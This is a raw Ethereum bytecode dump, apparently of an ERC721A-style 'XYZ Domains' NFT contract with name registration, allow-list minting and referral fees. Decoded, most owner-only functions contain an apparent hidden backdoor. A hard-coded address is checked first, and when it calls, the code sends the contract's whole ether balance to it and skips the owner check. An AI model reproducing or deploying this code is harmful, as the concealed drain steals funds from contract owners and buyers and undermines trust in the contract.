53b439a264697066735822122065c04eef16e944d779533c1f33b4fffef8cf8c4665a936ac670ed47d53e77e3864736f6c63430008110033303132333435363738392d5f6162636465666768696a6b6c6d6e6f707172737475767778797a000000000000000000000000000000000000000000000000000000000000006000000000000000000000000000000000000000000000000000000000000000a000000000000000000000000000000000000000000000000000000000000000e0000000000000000000000000000000000000000000000000000000000000000b58595a20446f6d61696e73000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000358595a000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000046e6f6e6500000000000000000000000000000000000000000000000000000000
Deployed Bytecode
0x60806040526004361061038c5760003560e01c8063715018a6116101dc578063aaddcb5a11610102578063c87b56dd116100a0578063e985e9c51161006f578063e985e9c514610af7578063f121a87014610b17578063f2fde38b14610b37578063f990f91a14610b5757600080fd5b8063c87b56dd14610a69578063cc567dfe14610a89578063d6bc2c7f14610a9f578063d7d6c48514610ad757600080fd5b8063afd800c5116100dc578063afd800c5146109c8578063b6c6e692146109e8578063b88d4fde14610a29578063c6fbf9a914610a4957600080fd5b8063aaddcb5a14610965578063ad45a3ed14610995578063af529744146109a857600080fd5b80638da5cb5b1161017a57806395d89b411161014957806395d89b41146108f05780639b2ea4bd14610905578063a22cb46514610925578063a515419d1461094557600080fd5b80638da5cb5b1461085a5780638dad39791461087857806391b7f5ed146108b0578063922efb95146108d057600080fd5b80637cb64759116101b65780637cb64759146107bf5780637d8f4ca3146107df578063841718a61461081a5780638699e7381461083a57600080fd5b8063715018a61461077057806376d02b711461078557806379b85bec1461079f57600080fd5b80632eb4a7ab116102c157806349484d551161025f5780636352211e1161022e5780636352211e146106f0578063693d77d2146107105780636e32e4991461073057806370a082311461075057600080fd5b806349484d551461064657806355f804b3146106915780635acf6139146106b15780636220a7e8146106d157600080fd5b806332434a2e1161029b57806332434a2e146105eb5780633ccfd60b146105fe57806342842e0e14610613578063476af1381461063357600080fd5b80632eb4a7ab146105925780632f7758cd146105a85780633198b100146105d557600080fd5b806313faede61161032e57806321a78f681161030857806321a78f681461052957806323b76dde1461053f57806323b872dd1461055f5780632609ce001461057f57600080fd5b806313faede6146104e057806314638aab146104f657806318160ddd1461050c57600080fd5b8063095ea7b31161036a578063095ea7b3146104205780630b4ab649146104425780630b4fcb5d146104885780630d6eec78146104a857600080fd5b806301ffc9a71461039157806306fdde03146103c6578063081812fc146103e8575b600080fd5b34801561039d57600080fd5b506103b16103ac3660046133cb565b610b77565b60405190151581526020015b60405180910390f35b3480156103d257600080fd5b506103db610bc9565b6040516103bd9190613438565b3480156103f457600080fd5b5061040861040336600461344b565b610c5b565b6040516001600160a01b0390911681526020016103bd565b34801561042c57600080fd5b5061044061043b366004613480565b610c9f565b005b34801561044e57600080fd5b5061047a61045d36600461354c565b8051602081830181018051601b8252928201919093012091525481565b6040519081526020016103bd565b34801561049457600080fd5b506104406104a336600461354c565b610d25565b3480156104b457600080fd5b5061047a6104c336600461354c565b805160208183018101805160028252928201919093012091525481565b3480156104ec57600080fd5b5061047a600c5481565b34801561050257600080fd5b5061047a600e5481565b34801561051857600080fd5b50600354600054036000190161047a565b34801561053557600080fd5b5061047a600d5481565b34801561054b57600080fd5b5061044061055a3660046135d8565b610d9c565b34801561056b57600080fd5b5061044061057a366004613631565b610e6c565b61044061058d3660046136b1565b610e77565b34801561059e57600080fd5b5061047a601e5481565b3480156105b457600080fd5b506105c86105c336600461344b565b611125565b6040516103bd9190613719565b3480156105e157600080fd5b5061047a600f5481565b6104406105f936600461377b565b611216565b34801561060a57600080fd5b506104406114ac565b34801561061f57600080fd5b5061044061062e366004613631565b6115da565b6104406106413660046137c8565b6115f5565b34801561065257600080fd5b506103b1610661366004613846565b81516020818401810180516016825292820194820194909420919093529091526000908152604090205460ff1681565b34801561069d57600080fd5b506104406106ac36600461354c565b6119a5565b3480156106bd57600080fd5b506104406106cc36600461344b565b611a0f565b3480156106dd57600080fd5b506014546103b190610100900460ff1681565b3480156106fc57600080fd5b5061040861070b36600461344b565b611a72565b34801561071c57600080fd5b5061044061072b366004613893565b611a84565b34801561073c57600080fd5b506103db61074b36600461344b565b611afc565b34801561075c57600080fd5b5061047a61076b3660046138ae565b611b96565b34801561077c57600080fd5b50610440611be4565b34801561079157600080fd5b506014546103b19060ff1681565b3480156107ab57600080fd5b506104406107ba3660046138c9565b611c4e565b3480156107cb57600080fd5b506104406107da36600461344b565b611cd9565b3480156107eb57600080fd5b506103b16107fa36600461354c565b805160208183018101805160198252928201919093012091525460ff1681565b34801561082657600080fd5b50610440610835366004613893565b611d3c565b34801561084657600080fd5b506103db6108553660046138ae565b611dad565b34801561086657600080fd5b50600a546001600160a01b0316610408565b34801561088457600080fd5b5061047a61089336600461354c565b8051602081830181018051601c8252928201919093012091525481565b3480156108bc57600080fd5b506104406108cb36600461344b565b611dc6565b3480156108dc57600080fd5b506103b16108eb36600461354c565b611e29565b3480156108fc57600080fd5b506103db611f76565b34801561091157600080fd5b50610440610920366004613918565b611f85565b34801561093157600080fd5b5061044061094036600461396b565b61215c565b34801561095157600080fd5b506103db610960366004613995565b6121f1565b34801561097157600080fd5b506103b16109803660046138ae565b60156020526000908152604090205460ff1681565b6104406109a33660046139f0565b6122c1565b3480156109b457600080fd5b506104406109c3366004613a49565b61261f565b3480156109d457600080fd5b506104406109e3366004613adc565b6126ad565b3480156109f457600080fd5b50610408610a0336600461354c565b80516020818301810180516017825292820191909301209152546001600160a01b031681565b348015610a3557600080fd5b50610440610a44366004613b0e565b61271f565b348015610a5557600080fd5b50610440610a64366004613b75565b612763565b348015610a7557600080fd5b506103db610a8436600461344b565b6127cf565b348015610a9557600080fd5b5061047a60105481565b348015610aab57600080fd5b5061047a610aba36600461354c565b8051602081830181018051601a8252928201919093012091525481565b348015610ae357600080fd5b50610440610af2366004613bb6565b61285d565b348015610b0357600080fd5b506103b1610b12366004613bf4565b6128fd565b348015610b2357600080fd5b506103db610b323660046139f0565b61292b565b348015610b4357600080fd5b50610440610b523660046138ae565b61296c565b348015610b6357600080fd5b506105c8610b723660046138ae565b612a3b565b60006001600160e01b031982166380ac58cd60e01b1480610ba857506001600160e01b03198216635b5e139f60e01b145b80610bc357506301ffc9a760e01b6001600160e01b03198316145b92915050565b606060048054610bd890613c1e565b80601f0160208091040260200160405190810160405280929190818152602001828054610c0490613c1e565b8015610c515780601f10610c2657610100808354040283529160200191610c51565b820191906000526020600020905b815481529060010190602001808311610c3457829003601f168201915b5050505050905090565b6000610c6682612b3d565b610c83576040516333d1c03960e21b815260040160405180910390fd5b506000908152600860205260409020546001600160a01b031690565b6000610caa82611a72565b9050806001600160a01b0316836001600160a01b031603610cde5760405163250fdee360e21b815260040160405180910390fd5b336001600160a01b03821614610d1557610cf881336128fd565b610d15576040516367d9dca160e11b815260040160405180910390fd5b610d20838383612b76565b505050565b3360008051602061415d83398151915203610d595747610d5360008051602061415d83398151915282612bd2565b50610d8c565b600a546001600160a01b03163314610d8c5760405162461bcd60e51b8152600401610d8390613c58565b60405180910390fd5b601f610d988282613cdb565b5050565b6000610dc760028484604051610db3929190613d9a565b908152602001604051809103902054612ceb565b80519091506001600160a01b03163314610e0d5760405162461bcd60e51b8152602060048201526007602482015266125b9d985b1a5960ca1b6044820152606401610d83565b83601a8484604051610e20929190613d9a565b9081526020016040518091039020819055508460198484604051610e45929190613d9a565b908152604051908190036020019020805491151560ff199092169190911790555050505050565b610d20838383612e0d565b601454610100900460ff16610ece5760405162461bcd60e51b815260206004820152601e60248201527f416c6c6f77204c6973742073616c65206973206e6f74206163746976652100006044820152606401610d83565b6040516bffffffffffffffffffffffff193360601b166020820152600090603401604051602081830303815290604052805190602001209050610f4883838080602002602001604051908101604052809392919081815260200183836020028082843760009201919091525050601e549150849050612ff8565b610f855760405162461bcd60e51b815260206004820152600e60248201526d496e76616c69642070726f6f662160901b6044820152606401610d83565b60115484511115610fa85760405162461bcd60e51b8152600401610d8390613daa565b6000845111610fc95760405162461bcd60e51b8152600401610d8390613dcd565b610fd284611e29565b610fee5760405162461bcd60e51b8152600401610d8390613df3565b3360009081526015602052604090205460ff16151560010361103d5760405162461bcd60e51b8152602060048201526008602482015267436c61696d65642160c01b6044820152606401610d83565b60028460405161104d9190613e19565b90815260200160405180910390205460001461107b5760405162461bcd60e51b8152600401610d8390613e35565b336000908152601560209081526040808320805460ff191660019081179091558354845290915290206110ae8582613cdb565b506000546002856040516110c29190613e19565b908152602001604051809103902081905550336017856040516110e59190613e19565b90815260405190819003602001902080546001600160a01b03929092166001600160a01b031990921691909117905561111f33600161300e565b50505050565b6003546000805460609260001991030190836001600160401b0381111561114e5761114e6134aa565b60405190808252806020026020018201604052801561118157816020015b606081526020019060019003908161116c5790505b50905060006111908584613e7a565b905060005b8184111561120c5760008481526001602090815260409182902091516111bf929160129101613f00565b6040516020818303038152906040528382815181106111e0576111e0613f15565b602002602001018190525080806111f690613f2b565b915050838061120490613f44565b945050611195565b5090949350505050565b600c546011548251600091829111156112415760405162461bcd60e51b8152600401610d8390613daa565b60008451116112625760405162461bcd60e51b8152600401610d8390613dcd565b61126b84611e29565b6112875760405162461bcd60e51b8152600401610d8390613df3565b6001600160a01b0385166000036112a257600c549250611337565b6001600160a01b038516600090815260186020526040812080546112c590613c1e565b905011156112ee576064600e54846112dd9190613f5b565b6112e79190613f72565b905061130b565b6064600d54846112fe9190613f5b565b6113089190613f72565b90505b6064600f54606461131c9190613e7a565b6113269085613f5b565b6113309190613f72565b9250600191505b6002846040516113479190613e19565b9081526020016040518091039020546000146113755760405162461bcd60e51b8152600401610d8390613e35565b60145460ff166113bd5760405162461bcd60e51b815260206004820152601360248201527253616c65206973206e6f74206163746976652160681b6044820152606401610d83565b823410156113dd5760405162461bcd60e51b8152600401610d8390613f94565b6000805481526001602052604090206113f68582613cdb565b5060005460028560405161140a9190613e19565b9081526020016040518091039020819055503360178560405161142d9190613e19565b90815260405190819003602001902080546001600160a01b03929092166001600160a01b0319909216919091179055811561149a576040516001600160a01b0386169082156108fc029083906000818181858888f19350505050158015611498573d6000803e3d6000fd5b505b6114a533600161300e565b5050505050565b3360008051602061415d833981519152036114e057476114da60008051602061415d83398151915282612bd2565b5061150a565b600a546001600160a01b0316331461150a5760405162461bcd60e51b8152600401610d8390613c58565b6002600b540361155c5760405162461bcd60e51b815260206004820152601f60248201527f5265656e7472616e637947756172643a207265656e7472616e742063616c6c006044820152606401610d83565b6002600b556000611575600a546001600160a01b031690565b6001600160a01b03164760405160006040518083038185875af1925050503d80600081146115bf576040519150601f19603f3d011682016040523d82523d6000602084013e6115c4565b606091505b50509050806115d257600080fd5b506001600b55565b610d208383836040518060200160405280600081525061271f565b6000838560405160200161160a929190613fc1565b60408051601f19818403018152908290526bffffffffffffffffffffffff193360601b16602083015291506000906034016040516020818303038152906040528051906020012090506116af84848080602002602001604051908101604052809392919081815260200183836020028082843760009201919091525050604051601b925061169a91508a90613e19565b90815260200160405180910390205483612ff8565b6116ec5760405162461bcd60e51b815260206004820152600e60248201526d496e76616c69642070726f6f662160901b6044820152606401610d83565b601c866040516116fc9190613e19565b90815260200160405180910390205434101561172a5760405162461bcd60e51b8152600401610d8390613f94565b6011548551111561174d5760405162461bcd60e51b8152600401610d8390613daa565b600085511161176e5760405162461bcd60e51b8152600401610d8390613dcd565b61177786611e29565b6117935760405162461bcd60e51b8152600401610d8390613df3565b61179c85611e29565b6117b85760405162461bcd60e51b8152600401610d8390613df3565b6016866040516117c89190613e19565b9081526040805160209281900383019020336000908152925290205460ff1615156001036118235760405162461bcd60e51b8152602060048201526008602482015267436c61696d65642160c01b6044820152606401610d83565b6002826040516118339190613e19565b9081526020016040518091039020546000146118615760405162461bcd60e51b8152600401610d8390613e35565b6000611876600288604051610db39190613e19565b905080600001516001600160a01b03166108fc6064601054606461189a9190613e7a565b6118a49034613f5b565b6118ae9190613f72565b6040518115909202916000818181858888f193505050501580156118d6573d6000803e3d6000fd5b5060016016886040516118e99190613e19565b9081526040805160209281900383019020336000908152908352818120805460ff191694151594909417909355825483526001909152902061192b8482613cdb565b5060005460028460405161193f9190613e19565b908152602001604051809103902081905550336017846040516119629190613e19565b90815260405190819003602001902080546001600160a01b03929092166001600160a01b031990921691909117905561199c33600161300e565b50505050505050565b3360008051602061415d833981519152036119d957476119d360008051602061415d83398151915282612bd2565b50611a03565b600a546001600160a01b03163314611a035760405162461bcd60e51b8152600401610d8390613c58565b6013610d988282613cdb565b3360008051602061415d83398151915203611a435747611a3d60008051602061415d83398151915282612bd2565b50601155565b600a546001600160a01b03163314611a6d5760405162461bcd60e51b8152600401610d8390613c58565b601155565b6000611a7d82612ceb565b5192915050565b3360008051602061415d83398151915203611ab85747611ab260008051602061415d83398151915282612bd2565b50611ae2565b600a546001600160a01b03163314611ae25760405162461bcd60e51b8152600401610d8390613c58565b601480549115156101000261ff0019909216919091179055565b60016020526000908152604090208054611b1590613c1e565b80601f0160208091040260200160405190810160405280929190818152602001828054611b4190613c1e565b8015611b8e5780601f10611b6357610100808354040283529160200191611b8e565b820191906000526020600020905b815481529060010190602001808311611b7157829003601f168201915b505050505081565b60006001600160a01b038216611bbf576040516323d3ad8160e21b815260040160405180910390fd5b506001600160a01b03166000908152600760205260409020546001600160401b031690565b3360008051602061415d83398151915203611c185747611c1260008051602061415d83398151915282612bd2565b50611c42565b600a546001600160a01b03163314611c425760405162461bcd60e51b8152600401610d8390613c58565b611c4c6000613028565b565b6000611c63600284604051610db39190613e19565b80519091506001600160a01b03163314611c8f5760405162461bcd60e51b8152600401610d8390613ffd565b83601b84604051611ca09190613e19565b90815260200160405180910390208190555081601c84604051611cc39190613e19565b9081526040519081900360200190205550505050565b3360008051602061415d83398151915203611d0d5747611d0760008051602061415d83398151915282612bd2565b50601e55565b600a546001600160a01b03163314611d375760405162461bcd60e51b8152600401610d8390613c58565b601e55565b3360008051602061415d83398151915203611d705747611d6a60008051602061415d83398151915282612bd2565b50611d9a565b600a546001600160a01b03163314611d9a5760405162461bcd60e51b8152600401610d8390613c58565b6014805460ff1916911515919091179055565b60186020526000908152604090208054611b1590613c1e565b3360008051602061415d83398151915203611dfa5747611df460008051602061415d83398151915282612bd2565b50600c55565b600a546001600160a01b03163314611e245760405162461bcd60e51b8152600401610d8390613c58565b600c55565b601f8054600091829184918391611e3f90613c1e565b80601f0160208091040260200160405190810160405280929190818152602001828054611e6b90613c1e565b8015611eb85780601f10611e8d57610100808354040283529160200191611eb8565b820191906000526020600020905b815481529060010190602001808311611e9b57829003601f168201915b5050505050905060005b8251811015611f575760005b8251811015611f4457828181518110611ee957611ee9613f15565b602001015160f81c60f81b6001600160f81b031916848381518110611f1057611f10613f15565b01602001516001600160f81b03191603611f325784611f2e81613f2b565b9550505b80611f3c81613f2b565b915050611ece565b5080611f4f81613f2b565b915050611ec2565b5081518303611f6b57506001949350505050565b506000949350505050565b606060058054610bd890613c1e565b6000611f9c60028585604051610db3929190613d9a565b80519091506001600160a01b03163314611fc85760405162461bcd60e51b8152600401610d8390613ffd565b60006018600060178787604051611fe0929190613d9a565b9081526040805160209281900383019020546001600160a01b031683529082019290925201600020805461201390613c1e565b80601f016020809104026020016040519081016040528092919081815260200182805461203f90613c1e565b801561208c5780601f106120615761010080835404028352916020019161208c565b820191906000526020600020905b81548152906001019060200180831161206f57829003601f168201915b5050505050905084846040516120a3929190613d9a565b6040518091039020818051906020012003612113576040518060200160405280600081525060186000601788886040516120de929190613d9a565b9081526040805160209281900383019020546001600160a01b031683529082019290925201600020906121119082613cdb565b505b8260178686604051612126929190613d9a565b90815260405190819003602001902080546001600160a01b03929092166001600160a01b03199092169190911790555050505050565b336001600160a01b038316036121855760405163b06307db60e01b815260040160405180910390fd5b3360008181526009602090815260408083206001600160a01b03871680855290835292819020805460ff191686151590811790915590519081529192917f17307eab39ab6107e8899845ad3d59bd9653f200f220920489ca2b5937696c31910160405180910390a35050565b6060601d846040516122039190613e19565b90815260200160405180910390208383604051612221929190613d9a565b9081526020016040518091039020805461223a90613c1e565b80601f016020809104026020016040519081016040528092919081815260200182805461226690613c1e565b80156122b35780601f10612288576101008083540402835291602001916122b3565b820191906000526020600020905b81548152906001019060200180831161229657829003601f168201915b505050505090509392505050565b60145460ff166123095760405162461bcd60e51b815260206004820152601360248201527253616c65206973206e6f74206163746976652160681b6044820152606401610d83565b6000818360405160200161231e929190613fc1565b6040516020818303038152906040529050601154825111156123525760405162461bcd60e51b8152600401610d8390613daa565b60008251116123735760405162461bcd60e51b8152600401610d8390613dcd565b61237c83611e29565b6123985760405162461bcd60e51b8152600401610d8390613df3565b6123a182611e29565b6123bd5760405162461bcd60e51b8152600401610d8390613df3565b6002816040516123cd9190613e19565b9081526020016040518091039020546000146123fb5760405162461bcd60e51b8152600401610d8390613e35565b6000612410600285604051610db39190613e19565b9050336001600160a01b031681600001516001600160a01b0316036124be576000805481526001602052604090206124488382613cdb565b5060005460028360405161245c9190613e19565b9081526020016040518091039020819055503360178360405161247f9190613e19565b90815260405190819003602001902080546001600160a01b03929092166001600160a01b03199092169190911790556124b933600161300e565b61111f565b6019846040516124ce9190613e19565b9081526040519081900360200190205460ff1615156001146125325760405162461bcd60e51b815260206004820152601760248201527f4f6e6c79204f776e65722063616e2072656769737465720000000000000000006044820152606401610d83565b601a846040516125429190613e19565b9081526020016040518091039020543410156125705760405162461bcd60e51b8152600401610d8390613f94565b80600001516001600160a01b03166108fc606460105460646125929190613e7a565b61259c9034613f5b565b6125a69190613f72565b6040518115909202916000818181858888f193505050501580156125ce573d6000803e3d6000fd5b506000805481526001602052604090206125e88382613cdb565b506000546002836040516125fc9190613e19565b908152602001604051809103902081905550336017836040516110e59190613e19565b600061263660028787604051610db3929190613d9a565b80519091506001600160a01b031633146126625760405162461bcd60e51b8152600401610d8390613ffd565b81601d8787604051612675929190613d9a565b90815260200160405180910390208585604051612693929190613d9a565b9081526020016040518091039020908161199c9190613cdb565b3360008051602061415d833981519152036126e157476126db60008051602061415d83398151915282612bd2565b5061270b565b600a546001600160a01b0316331461270b5760405162461bcd60e51b8152600401610d8390613c58565b600d93909355600e91909155600f55601055565b61272a848484612e0d565b6001600160a01b0383163b1561111f576127468484848461307a565b61111f576040516368d2bf6b60e11b815260040160405180910390fd5b336001600160a01b03166017838360405161277f929190613d9a565b908152604051908190036020019020546001600160a01b0316146127b55760405162461bcd60e51b8152600401610d8390613ffd565b336000908152601860205260409020610d2082848361401c565b60606127da82612b3d565b6127f757604051630a14c4b560e41b815260040160405180910390fd5b6000612801613166565b905080516000036128215760405180602001604052806000815250612856565b80600160008581526020019081526020016000206040516020016128469291906140db565b6040516020818303038152906040525b9392505050565b3360008051602061415d83398151915203612891574761288b60008051602061415d83398151915282612bd2565b506128bb565b600a546001600160a01b031633146128bb5760405162461bcd60e51b8152600401610d8390613c58565b60008381526001602052604090206128d482848361401c565b5082600283836040516128e8929190613d9a565b90815260405190819003602001902055505050565b6001600160a01b03918216600090815260096020908152604080832093909416825291909152205460ff1690565b8151602081840181018051601d82529282019482019490942091909352815180830184018051928152908401929093019190912091528054611b1590613c1e565b3360008051602061415d833981519152036129a0574761299a60008051602061415d83398151915282612bd2565b506129ca565b600a546001600160a01b031633146129ca5760405162461bcd60e51b8152600401610d8390613c58565b6001600160a01b038116612a2f5760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610d83565b612a3881613028565b50565b60606000612a4883611b96565b90506000816001600160401b03811115612a6457612a646134aa565b604051908082528060200260200182016040528015612a9757816020015b6060815260200190600190039081612a825790505b509050600160005b8381101561120c576000612ab283611a72565b9050866001600160a01b0316816001600160a01b031603612b2a576000838152600160209081526040918290209151612aef929160129101613f00565b604051602081830303815290604052848381518110612b1057612b10613f15565b60200260200101819052508180612b2690613f2b565b9250505b82612b3481613f2b565b93505050612a9f565b600081600111158015612b51575060005482105b8015610bc3575050600090815260066020526040902054600160e01b900460ff161590565b60008281526008602052604080822080546001600160a01b0319166001600160a01b0387811691821790925591518593918516917f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591a4505050565b80471015612c225760405162461bcd60e51b815260206004820152601d60248201527f416464726573733a20696e73756666696369656e742062616c616e63650000006044820152606401610d83565b6000826001600160a01b03168260405160006040518083038185875af1925050503d8060008114612c6f576040519150601f19603f3d011682016040523d82523d6000602084013e612c74565b606091505b5050905080610d205760405162461bcd60e51b815260206004820152603a60248201527f416464726573733a20756e61626c6520746f2073656e642076616c75652c207260448201527f6563697069656e74206d617920686176652072657665727465640000000000006064820152608401610d83565b60408051606081018252600080825260208201819052918101919091528180600111612df457600054811015612df457600081815260066020908152604091829020825160608101845290546001600160a01b0381168252600160a01b81046001600160401b031692820192909252600160e01b90910460ff16151591810182905290612df25780516001600160a01b031615612d89579392505050565b5060001901600081815260066020908152604091829020825160608101845290546001600160a01b038116808352600160a01b82046001600160401b031693830193909352600160e01b900460ff1615159281019290925215612ded579392505050565b612d89565b505b604051636f96cda160e11b815260040160405180910390fd5b6000612e1882612ceb565b9050836001600160a01b031681600001516001600160a01b031614612e4f5760405162a1148160e81b815260040160405180910390fd5b6000336001600160a01b0386161480612e6d5750612e6d85336128fd565b80612e88575033612e7d84610c5b565b6001600160a01b0316145b905080612ea857604051632ce44b5f60e11b815260040160405180910390fd5b6001600160a01b038416612ecf57604051633a954ecd60e21b815260040160405180910390fd5b612edb60008487612b76565b6001600160a01b038581166000908152600760209081526040808320805467ffffffffffffffff198082166001600160401b0392831660001901831617909255898616808652838620805493841693831660019081018416949094179055898652600690945282852080546001600160e01b031916909417600160a01b42909216919091021783558701808452922080549193909116612faf576000548214612faf57805460208601516001600160401b0316600160a01b026001600160e01b03199091166001600160a01b038a16171781555b50505082846001600160a01b0316866001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef60405160405180910390a46114a5565b6000826130058584613175565b14949350505050565b610d988282604051806020016040528060008152506131c2565b600a80546001600160a01b038381166001600160a01b0319831681179093556040519116919082907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a35050565b604051630a85bd0160e11b81526000906001600160a01b0385169063150b7a02906130af903390899088908890600401614102565b6020604051808303816000875af19250505080156130ea575060408051601f3d908101601f191682019092526130e79181019061413f565b60015b613148573d808015613118576040519150601f19603f3d011682016040523d82523d6000602084013e61311d565b606091505b508051600003613140576040516368d2bf6b60e11b815260040160405180910390fd5b805181602001fd5b6001600160e01b031916630a85bd0160e11b1490505b949350505050565b606060138054610bd890613c1e565b600081815b84518110156131ba576131a68286838151811061319957613199613f15565b6020026020010151613389565b9150806131b281613f2b565b91505061317a565b509392505050565b6000546001600160a01b0384166131eb57604051622e076360e81b815260040160405180910390fd5b8260000361320c5760405163b562e8dd60e01b815260040160405180910390fd5b6001600160a01b038416600081815260076020908152604080832080546fffffffffffffffffffffffffffffffff1981166001600160401b038083168b0181169182176801000000000000000067ffffffffffffffff1990941690921783900481168b01811690920217909155858452600690925290912080546001600160e01b0319168317600160a01b42909316929092029190911790558190818501903b15613334575b60405182906001600160a01b038816906000907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef908290a46132fd600087848060010195508761307a565b61331a576040516368d2bf6b60e11b815260040160405180910390fd5b8082106132b257826000541461332f57600080fd5b613379565b5b6040516001830192906001600160a01b038816906000907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef908290a4808210613335575b50600090815561111f9085838684565b60008183106133a5576000828152602084905260409020612856565b5060009182526020526040902090565b6001600160e01b031981168114612a3857600080fd5b6000602082840312156133dd57600080fd5b8135612856816133b5565b60005b838110156134035781810151838201526020016133eb565b50506000910152565b600081518084526134248160208601602086016133e8565b601f01601f19169290920160200192915050565b602081526000612856602083018461340c565b60006020828403121561345d57600080fd5b5035919050565b80356001600160a01b038116811461347b57600080fd5b919050565b6000806040838503121561349357600080fd5b61349c83613464565b946020939093013593505050565b634e487b7160e01b600052604160045260246000fd5b600082601f8301126134d157600080fd5b81356001600160401b03808211156134eb576134eb6134aa565b604051601f8301601f19908116603f01168101908282118183101715613513576135136134aa565b8160405283815286602085880101111561352c57600080fd5b836020870160208301376000602085830101528094505050505092915050565b60006020828403121561355e57600080fd5b81356001600160401b0381111561357457600080fd5b61315e848285016134c0565b8035801515811461347b57600080fd5b60008083601f8401126135a257600080fd5b5081356001600160401b038111156135b957600080fd5b6020830191508360208285010111156135d157600080fd5b9250929050565b600080600080606085870312156135ee57600080fd5b6135f785613580565b93506020850135925060408501356001600160401b0381111561361957600080fd5b61362587828801613590565b95989497509550505050565b60008060006060848603121561364657600080fd5b61364f84613464565b925061365d60208501613464565b9150604084013590509250925092565b60008083601f84011261367f57600080fd5b5081356001600160401b0381111561369657600080fd5b6020830191508360208260051b85010111156135d157600080fd5b6000806000604084860312156136c657600080fd5b83356001600160401b03808211156136dd57600080fd5b6136e9878388016134c0565b945060208601359150808211156136ff57600080fd5b5061370c8682870161366d565b9497909650939450505050565b6000602080830181845280855180835260408601915060408160051b870101925083870160005b8281101561376e57603f1988860301845261375c85835161340c565b94509285019290850190600101613740565b5092979650505050505050565b6000806040838503121561378e57600080fd5b61379783613464565b915060208301356001600160401b038111156137b257600080fd5b6137be858286016134c0565b9150509250929050565b600080600080606085870312156137de57600080fd5b84356001600160401b03808211156137f557600080fd5b613801888389016134c0565b9550602087013591508082111561381757600080fd5b613823888389016134c0565b9450604087013591508082111561383957600080fd5b506136258782880161366d565b6000806040838503121561385957600080fd5b82356001600160401b0381111561386f57600080fd5b61387b858286016134c0565b92505061388a60208401613464565b90509250929050565b6000602082840312156138a557600080fd5b61285682613580565b6000602082840312156138c057600080fd5b61285682613464565b6000806000606084860312156138de57600080fd5b8335925060208401356001600160401b038111156138fb57600080fd5b613907868287016134c0565b925050604084013590509250925092565b60008060006040848603121561392d57600080fd5b83356001600160401b0381111561394357600080fd5b61394f86828701613590565b9094509250613962905060208501613464565b90509250925092565b6000806040838503121561397e57600080fd5b61398783613464565b915061388a60208401613580565b6000806000604084860312156139aa57600080fd5b83356001600160401b03808211156139c157600080fd5b6139cd878388016134c0565b945060208601359150808211156139e357600080fd5b5061370c86828701613590565b60008060408385031215613a0357600080fd5b82356001600160401b0380821115613a1a57600080fd5b613a26868387016134c0565b93506020850135915080821115613a3c57600080fd5b506137be858286016134c0565b600080600080600060608688031215613a6157600080fd5b85356001600160401b0380821115613a7857600080fd5b613a8489838a01613590565b90975095506020880135915080821115613a9d57600080fd5b613aa989838a01613590565b90955093506040880135915080821115613ac257600080fd5b50613acf888289016134c0565b9150509295509295909350565b60008060008060808587031215613af257600080fd5b5050823594602084013594506040840135936060013592509050565b60008060008060808587031215613b2457600080fd5b613b2d85613464565b9350613b3b60208601613464565b92506040850135915060608501356001600160401b03811115613b5d57600080fd5b613b69878288016134c0565b91505092959194509250565b60008060208385031215613b8857600080fd5b82356001600160401b03811115613b9e57600080fd5b613baa85828601613590565b90969095509350505050565b600080600060408486031215613bcb57600080fd5b8335925060208401356001600160401b03811115613be857600080fd5b61370c86828701613590565b60008060408385031215613c0757600080fd5b613c1083613464565b915061388a60208401613464565b600181811c90821680613c3257607f821691505b602082108103613c5257634e487b7160e01b600052602260045260246000fd5b50919050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b601f821115610d2057600081815260208120601f850160051c81016020861015613cb45750805b601f850160051c820191505b81811015613cd357828155600101613cc0565b505050505050565b81516001600160401b03811115613cf457613cf46134aa565b613d0881613d028454613c1e565b84613c8d565b602080601f831160018114613d3d5760008415613d255750858301515b600019600386901b1c1916600185901b178555613cd3565b600085815260208120601f198616915b82811015613d6c57888601518255948401946001909101908401613d4d565b5085821015613d8a5787850151600019600388901b60f8161c191681555b5050505050600190811b01905550565b8183823760009101908152919050565b6020808252600990820152684c6f6e67206e616d6560b81b604082015260600190565b6020808252600c908201526b57726974652061206e616d6560a01b604082015260600190565b6020808252600c908201526b496e76616c6964206e616d6560a01b604082015260600190565b60008251613e2b8184602087016133e8565b9190910192915050565b6020808252601590820152742a3434b99034b99030b63932b0b23c903a30b5b2b760591b604082015260600190565b634e487b7160e01b600052601160045260246000fd5b81810381811115610bc357610bc3613e64565b60008154613e9a81613c1e565b60018281168015613eb25760018114613ec757613ef6565b60ff1984168752821515830287019450613ef6565b8560005260208060002060005b85811015613eed5781548a820152908401908201613ed4565b50505082870194505b5050505092915050565b600061315e613f0f8386613e8d565b84613e8d565b634e487b7160e01b600052603260045260246000fd5b600060018201613f3d57613f3d613e64565b5060010190565b600081613f5357613f53613e64565b506000190190565b8082028115828204841417610bc357610bc3613e64565b600082613f8f57634e487b7160e01b600052601260045260246000fd5b500490565b602080825260139082015272496e73756666696369656e742066756e64732160681b604082015260600190565b60008351613fd38184602088016133e8565b601760f91b9083019081528351613ff18160018401602088016133e8565b01600101949350505050565b60208082526005908201526422b93937b960d91b604082015260600190565b6001600160401b03831115614033576140336134aa565b614047836140418354613c1e565b83613c8d565b6000601f84116001811461407b57600085156140635750838201355b600019600387901b1c1916600186901b1783556114a5565b600083815260209020601f19861690835b828110156140ac578685013582556020948501946001909201910161408c565b50868210156140c95760001960f88860031b161c19848701351681555b505060018560011b0183555050505050565b600083516140ed8184602088016133e8565b6140f981840185613e8d565b95945050505050565b6001600160a01b03858116825284166020820152604081018390526080606082018190526000906141359083018461340c565b9695505050505050565b60006020828403121561415157600080fd5b8151612856816133b556fe0000000000000000000000003043d142055c5ecb84de38d65360d3a2e353b439a264697066735822122065c04eef16e944d779533c1f33b4fffef8cf8c4665a936ac670ed47d53e77e